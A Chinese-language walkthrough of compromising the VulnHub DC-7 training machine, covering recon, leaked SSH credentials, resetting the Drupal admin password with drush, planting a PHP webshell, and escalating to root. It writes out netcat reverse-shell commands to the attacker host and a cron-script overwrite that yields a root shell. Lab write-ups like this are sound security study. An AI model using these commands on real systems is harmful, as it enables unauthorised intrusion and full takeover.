这次渗透是DC系列(VulnHub的仿真靶机)的DC-7,包含了Drupal利用drush重置网站管理员密码、一句话木马Getshell、定时任务提权等知识。
VulnHub靶机渗透之DC-7 【DC系列】
dc7靶机下载链接:
https://www.vulnhub.com/entry/dc-7,356/
运行系统:kali+ dc-7
平台:vmware workstation
网络:均使用nat
任务:拿到root权限,找到flag
提示:
主机发现 ->dc7靶机192.168.124.137
arp-scan -l |
nmap完整扫描:22、80端口开放
nmap -A -T4 192.168.124.137 -p1-65535 |
看了看robots.txt,没啥可以利用的。
把上次hosts文件里面写的删掉,因为这个靶机的url也是http://wordy,就冲突了。
是个Drupal的cms,还泄露了作者姓名。
exploitdb搜索一下drupal8的漏洞
挨个试了一下都不行。
网站作者入手 @DC7USER
想到作者在下载页面提示过我们说这个靶机的重点不在盒子里,是在盒子外面,
而版权作者是DC7USER,那么会不会跟这个有关呢?
百度搜索一下 @DC7USER,点进他写的项目查看
确实是给我们留下的暗示
ssh账号密码信息泄露
看看配置文件,发现了用户和密码。
<?php |
web网页登录失败了,但是22ssh端口开放着的,用这个账户和密码尝试一下ssh登录
ssh dc7user@192.168.124.137 |
提示从mail入手,找到定时任务
搜了一下mail
find / -name mail 2>/dev/null |
是个定时任务 cron
在邮件中查看到/opt/scripts/backups.sh
脚本文件,而且仔细观察可以发现邮件是间隔15min发一次的,也就是说backups.sh脚本文件15min分钟运行一次。
查看一下该shell脚本的权限,可以看到backups.sh脚本文件以root和www-data运行在同一组中,可以全权限执行。【只能 root
用户和 www-data
写入】
【以www-data权限可以对backups.sh脚本进行操作,如果向backups.sh脚本写入恶意代码,当backups.sh脚本以root身份运行时我们就可以得到root权限。】
dc7user@dc-7:/opt/scripts$ ls -l /opt/scripts/backups.sh |
查看计划任务,写入反弹shell,发现没有权限【这个图找的别人博客的】
具体看看/opt/scripts/backups.sh脚本内容
cat /opt/scripts/backups.sh |
#!/bin/bash |
【drupal默认存在admin用户】定时任务中发现网站存在drush,可以重置admin用户密码
里面有个drush命令
drush sql-dump --result-file=/home/dc7user/backups/website.sql |
drush是一个管理drupal网站的命令行工具。
drush命令可以修改用户密码,而drupalCMS默认存在admin账户,我们可以通过drush修改admin账户的密码,进而登录网站。
cd /var/www/html/ |
修改密码后,admin登录网站成功,首页写入php的一句话木马
admin/123456登录成功
在Content—>Add content–>Basic page下可以创建文件,原本准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入,我们可以下载插件。
https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
安装成功
安装后激活模块
安装成功,php可以写了
<?php |
emm,没找到创建的文件的路径。还是写到首页吧
蚁剑连接成功
反弹www-data的shell
kali监听1234端口
nc -lvp 1234 |
反弹shell到kali
nc 192.168.124.134 1234 -e /bin/bash |
使用python进入完全交互的shell
python -c 'import pty;pty.spawn("/bin/bash")' |
定时任务写入,反弹root用户的的shell
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
echo "nc 192.168.124.134 6666 -e /bin/bash" > /opt/scripts/backups.sh |
kali监听6666端口,过了一会儿反弹成功
总结:
Github泄露网站数据库配置信息导致泄露SSH账号密码
Drupal利用drush重置网站管理员密码
网站写入php一句话木马Getshell
定时任务文件写入恶意代码进行提权
参考链接:
https://blog.csdn.net/sjzs5590/article/details/8254527 【 linux ls -l 详解 】
VULNHUB-DC7复现 【星期五实验室 】
Vulnhub-DC7 【龙蜀安全】
https://blog.csdn.net/weixin_43583637/article/details/102809227 【Vulnhub靶机实战——DC-7】
https://www.cnblogs.com/SecIN/p/15504606.html 【[VulnHub-[DC-1-7]-系列通关手册】